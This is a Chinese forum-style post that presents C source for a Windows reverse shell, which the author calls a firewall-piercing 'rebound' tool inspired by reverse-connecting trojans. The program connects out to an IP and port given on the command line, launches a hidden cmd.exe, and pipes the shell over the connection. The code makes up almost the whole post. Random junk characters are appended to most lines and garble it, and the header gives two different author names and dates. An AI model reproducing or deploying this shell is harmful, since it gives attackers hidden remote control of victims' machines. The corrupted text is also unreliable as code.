这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g[c_rty
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/* ============================== }R9>1u}6
Rebound port in Windows NT e0"80"D
By wind,2006/7 ]lqe,>
===============================*/ APJVD-
#include !MyCxM6
#include 9cIKi#Bl
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#pragma comment(lib,"wsock32.lib") F(;=^w
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void OutputShell(); &cpqn2Z
SOCKET sClient; -=InGm\Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 20,}T)}Tm
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void main(int argc,char **argv) cU|tG!Ij?
{ 1CR)1H
WSADATA stWsaData; F"^/R
int nRet; f-BPT2U+
SOCKADDR_IN stSaiClient,stSaiServer; T;M4NGmvd
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if(argc != 3) "$I8EW/1
{ FyhLMW3
printf("Useage:\n\rRebound DestIP DestPort\n"); :!QT ,
return; 5M&<tj/[a0
} 6no&2a|D
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WSAStartup(MAKEWORD(2,2),&stWsaData); BhzcimC)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >^~W'etX|
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stSaiClient.sin_family = AF_INET; 4n0Iw I
stSaiClient.sin_port = htons(0); Krd0Gc~\|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wBlo2WY
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8zO;=R A7%
{ Kgw,]E&7
printf("Bind Socket Failed!\n"); vnx+1T
return; M\A6;dz'
} XY,!vLjL
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stSaiServer.sin_family = AF_INET; 2{xf{)hO?
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sh/4ui{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !BjJ5m
B'-n
^';
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U?xa^QVhj
{ =/+f3
printf("Connect Error!"); n[gc`#7|{e
return; Ez+8B|0P
} NydF'N_1
OutputShell(); yIu_DFq%
} a_\t(U
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void OutputShell() RZ0+Uu/J
{ YS bS.tq
char szBuff[1024]; Q%QIr
SECURITY_ATTRIBUTES stSecurityAttributes; c=f;3N
OSVERSIONINFO stOsversionInfo; v=~+o[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2Ah B)8bG
STARTUPINFO stStartupInfo; Kut@z>SK
char *szShell; Pyp#'du>
PROCESS_INFORMATION stProcessInformation; f~?kx41dq
unsigned long lBytesRead; SQ057V>'=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6SF29[&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /[I#3|
stSecurityAttributes.lpSecurityDescriptor = 0; N (0%C?
stSecurityAttributes.bInheritHandle = TRUE; C.RXQ`-P}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h,ipQ>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8'Iei78Ov
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VKcVwq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1nR\m+{
stStartupInfo.wShowWindow = SW_HIDE; )C$pjjo/`
stStartupInfo.hStdInput = hReadPipe; S|O#KE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D$Ao-6QE
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GetVersionEx(&stOsversionInfo); g~XR#vl$
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switch(stOsversionInfo.dwPlatformId) GK[9Cm"v
{ pHKc9VC
case 1: hm0MO,i"
szShell = "command.com"; ~{ucr#]C
break; FK@Gd)(
default: Mu@(^zW
szShell = "cmd.exe"; WJ/X`?k
break; K}vYE7n:
} 4t 0p!IxG
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i,mZg+;w
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send(sClient,szMsg,77,0); qb$M.-\ne
while(1) $U"pdf
{ 8M,$|\U
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %?BygG
if(lBytesRead) |#sY(1
{ JvF0s}#4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); 3F$N@K~s
} EKUiX#p:M
else |Es,$
{ XrJLlH>R4
lBytesRead=recv(sClient,szBuff,1024,0); q}C;~nMD
if(lBytesRead<=0) break; hV NT
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I:M15
} ,4r 4 <
} $XcuU
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return; y
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}